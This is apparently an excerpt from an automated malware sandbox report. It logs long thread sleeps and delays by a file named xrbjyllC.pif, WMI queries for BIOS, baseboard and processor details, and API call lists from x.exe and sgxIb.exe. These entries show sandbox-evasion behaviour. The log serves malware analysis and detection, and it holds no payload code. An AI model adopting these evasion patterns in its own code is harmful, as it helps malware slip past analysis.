Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -598068s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597946s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597719s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597610s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597485s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597360s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -597110s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596981s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596767s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596528s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596416s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596304s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596188s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -596050s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -595938s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -595810s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -595698s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -595585s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -595249s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -595123s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -594911s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -594789s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -594677s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -594564s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -594439s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -594313s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -594177s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -593997s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -593658s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -593506s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -593369s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -593196s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -593011s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -592620s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -592105s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -591918s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 6024	Thread sleep time: -591659s >= -30000s	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep count: 34 > 30
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -31359464925306218s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4312	Thread sleep count: 1823 > 30
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4312	Thread sleep count: 8024 > 30
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599891s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599781s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599672s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599562s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599453s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599344s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599234s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599124s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -599007s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -598891s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -598780s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -598422s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -598297s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -598172s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -598062s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597953s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597844s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597719s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597609s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597500s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597391s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597281s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597172s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -597062s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596953s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596844s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596734s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596625s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596515s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596406s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596297s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596187s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -596078s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595932s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595813s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595700s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595579s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595466s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595344s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595234s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595125s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -595016s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594906s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594797s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594687s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594578s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594469s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594344s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594234s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 3428	Thread sleep time: -594125s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -28592453314249787s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599889s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599781s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599671s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599562s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599453s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599343s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599234s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599125s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -599015s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598906s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598796s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598686s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598578s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598461s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598310s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598185s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -598078s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597968s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597859s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597750s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597640s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597531s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597421s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597312s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597203s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -597093s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596981s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596875s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596765s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596656s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596546s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596437s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596328s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596218s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -596109s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595999s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595890s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595781s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595671s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595562s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595453s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595343s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595234s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595125s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -595015s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -594891s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -594765s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -594656s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -594546s >= -30000s
Source: C:\Users\Public\Libraries\xrbjyllC.pif TID: 4456	Thread sleep time: -594437s >= -30000s

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\Public\Libraries\xrbjyllC.pif	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Last function: Thread delayed
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_031C5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	3_2_031C5908
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 13_2_0040128D RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,FindFirstFileA,FindClose,GetLocalTime,	13_2_0040128D
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Code function: 13_2_00401612 RegOpenKeyA,RegQueryValueA,RegCloseKey,RegCloseKey,GetLocalTime,CreateDirectoryA,FindFirstFileA,MoveFileA,FindNextFileA,FindClose,	13_2_00401612

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598969	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598860	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598735	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598610	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598485	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598360	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598222	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598068	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597946	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597610	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597485	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597360	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596981	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596767	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596528	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596416	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596304	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596188	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596050	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595938	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595810	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595698	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595585	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595249	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595123	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594911	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594789	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594677	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594564	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594439	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594177	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593997	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593658	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593506	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593369	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593196	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 593011	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 592620	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 592105	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 591918	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 591659	Jump to behavior
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599891
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599781
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599672
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599562
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599453
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599344
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599124
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599007
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598891
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598780
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598422
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598297
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598172
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 598062
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597953
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597844
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597719
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597609
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597500
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597391
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597281
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597172
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 597062
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596953
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596844
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596734
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596625
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596515
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596406
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596297
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596187
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 596078
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595932
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595813
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595700
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595579
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595466
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595344
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 595016
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594906
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594797
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594687
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594578
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594469
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599889
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599781
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Thread delayed: delay time: 599671
